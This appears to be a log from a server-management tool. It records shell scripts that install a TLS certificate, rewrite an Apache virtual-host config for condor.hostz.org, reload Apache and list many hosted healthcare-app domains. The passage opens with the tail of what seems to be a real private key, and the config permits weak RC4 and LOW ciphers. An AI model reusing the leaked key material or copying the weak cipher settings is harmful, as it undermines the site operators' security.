t0gPo/tBHvfPWgC7LEzSzhB2wLX2WNaKj6KDo4nHlJbDZnIEUTbJufY5+BGR+dbC
8QdRgNymgP4xD0WqpNorEsZHSblsVekxxJKn1XbSWwKBgFoMYe5EQJ1deh7T2Yc7
96YhjedctQuGEXgSGS+4lVMVL6JlymEuPqw/NgFdyAVWAMpzcvO4d1XlN9WKCBOv
LpaE2AIMw0kFi1dCoyzhLHJmJyDJ+pBVw67x/8mCWAsM0sWTtHPCI4eb9NK8KaA+
FKFPG7V5eJ2XaXEgmpplXLGG
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-14 06:00:46: 

chmod 755 /tmp/pkp337060; /tmp/pkp337060; rm /tmp/pkp337060

2025-11-14 06:00:46: 


dir=/etc/ssl/certs


2025-11-14 06:00:46: 

PUT: /tmp/pkp510907

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_condor_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-14 06:00:46: 

chmod 755 /tmp/pkp510907; /tmp/pkp510907; rm /tmp/pkp510907

2025-11-14 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf 40

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-14 06:00:46: 

PUT: /tmp/pkp151937

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_condor_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_condor_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_condor_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf= 1'
fi


2025-11-14 06:00:46: 

chmod 755 /tmp/pkp151937; /tmp/pkp151937; rm /tmp/pkp151937

2025-11-14 06:00:46: 




2025-11-14 06:00:46: 

PUT: /tmp/pkp886320

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-14 06:00:46: 

chmod 755 /tmp/pkp886320; /tmp/pkp886320; rm /tmp/pkp886320

2025-11-14 06:00:46: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-14 06:00:46: Establishing a connection
2025-11-14 06:00:46: 

PUT: /tmp/pkp917188

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-14 06:00:47: 

chmod 755 /tmp/pkp917188; /tmp/pkp917188; rm /tmp/pkp917188

2025-11-14 06:00:47: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
